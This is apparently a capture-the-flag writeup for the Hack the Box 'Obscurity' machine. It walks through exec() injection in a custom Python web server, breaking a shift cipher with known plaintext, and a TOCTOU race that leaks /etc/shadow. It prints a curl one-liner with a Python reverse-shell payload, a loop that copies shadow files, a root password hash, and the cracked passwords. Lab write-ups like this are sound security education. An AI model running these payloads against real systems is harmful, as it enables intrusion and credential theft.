[Hack the Box] Obscurity writeup
This was an interesting challenge which @7axmi and I solved recently. The goal here is to get code execution as a limited user and then do a privilege escalation to get root access.
In summary there are twio vulnerable programs in the VM,
- A custom written HTTP server:
SuperSecureServer.py
- A custom cryptosystem with which the user credentials are encrypted.
- A custom written
sudo
replacement:BetterSSH.py
Getting the source⌗
The homepage of the VM hinted the name of the server’s source filename as SuperSecureServer.py
and that it is present in the DocumentRoot
. I had no idea where to proceed next if not for @7axmi who ran a script to run a wordlist against the server to enumerate for possible dirs and found it in develop
. Once the hard part is over, it was very easy to solve.
Getting user access⌗
Here is the vulnerability. The server runs exec()
on user controllable data. We have injection over string passed on to exec()
and so we have capability to execute any arbitrary Python code.
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
Since the user controlled data is already enclosed within a single quote '
, we need to escape it.
IP="10.10.x.y"
PORT=8000
curl http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'
In the TCP server we have started at $IP:$PORT
, we have a reverse shell for the user www-data
.
But the flag is at /home/robert/user.txt
and we do not have access to the file as we are not robert
user. But the home directory for robert
is world readable and it has some interesting files.
There are three interesting files in robert
's home directory.
check.txt
contains a sample plaintext as shown below.out.txt
contains the ciphertext forcheck.txt
passwordreminder.txt
contains the ciphertext for the password forrobert
user.
Encrypting this file with your key should result in out.txt, make sure your key is correct!
The assumption here is that the same is key is used in both operations.
The cryptosystem is a rather simple one which is a repeating key shift cipher with the key. Since we know that the plaintext is ASCII printable its value will never exceed 127 and so the % 255
will have no effect whatsoever.
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
The following script derives the key used to encrypt check.txt
into out.txt
.
#!/usr/bin/env python3
from sys import argv
def main():
ct_file = argv[1]
pt_file = argv[2]
ct = open(ct_file, 'r', encoding='UTF-8').read()
pt = open(pt_file, 'r', encoding='UTF-8').read()
assert(len(ct) == len(pt))
key = ''
for a,b in zip(ct, pt):
key += chr(ord(a) - ord(b))
print(key)
if __name__ == '__main__':
main()
And we got the key as
alexandrovich
Using this key we can now decrypt passwordreminder.txt
. Running it decrypts it and gives back the credential:
python3 ssc.py -i ../passwordreminder.txt -o krp.txt -k alexandrovich -d
We get the password as
SecThruObsFTW
Getting root access⌗
The script BetterSSH.py
can be executed as root by robert
. The way it works is:
- Reads username and password through stdin
- Read
/etc/shadow
, parse its contents and write it to a random file in/tmp/SSH/*
- Hash the given password and check against the hash read from shadow file in tmp dir.
- If hash matches, open up a shell with that user.
- If not, exit
- Irrespective of whether it authenticates or not, the tmp dir is cleared.
There is a TOCTOU issue here. By looping over the contents of /tmp/SSH/*
and running the script in parallel, we can get the contents.
cd /tmp/SSH
while true
do
cp * /tmp/store/
done
We got the following file:
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
...
Running root’s hash against a dictionary list of passwords with john
gave the root password as
mercedes